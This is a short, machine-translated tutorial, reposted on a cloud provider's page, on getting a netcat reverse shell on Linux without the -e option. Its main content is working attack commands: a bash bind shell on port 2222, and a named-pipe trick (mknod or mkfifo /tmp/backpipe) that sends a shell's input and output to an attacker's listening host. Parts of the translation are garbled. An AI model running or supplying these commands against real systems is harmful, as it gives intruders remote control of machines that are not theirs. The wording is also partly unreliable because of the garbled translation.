Linux BackDoor-NC usage

Source: Internet
Author: User

We are no longer familiar with Swiss Army Knife nc, which is often used for packet sending, file transfer, and reverse shell. In the penetration test process, if we want to rebound shell, we usually do the following:

Nc-l-vv-p 2222-e/bin/bash
In most releases of Linux, nc is compiled by default. However, for security reasons, the nc compiled by default in the release usually does not have the-e Option (no define
This means that we cannot bind the target shell through the-e option, which limits the usage. But in this case, is it true?
No way to use it? There is no way to survive. Let's look at the following TIP.

On the Attack side, the nc-lnvp listenport is still used to listen to a port. In the target environment, execute the following commands in sequence:
Root @ bt :~ # Mknod/tmp/backpipe p
Root @ bt :~ #/Bin/sh 0 </tmp/backpipe | nc x. x listenport 1>/tmp/backpipe
The first command uses mknod to create a backpipe pipe in the tmp directory. The second command first sets the input of the default shell Environment
Redirect to the created pipeline, and then pass the output Nc attackerip
ListenportRedirect to the attacker end, and finally redirect the shell execution result to the pipeline.


After checking the mknod command on the internet, it means that only root users have the permission to execute the command. However, users with normal permissions can also create special files such as pipelines, if you do not have permission to use mkfifo/tmp/backpipe, you can also create an MPS queue.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.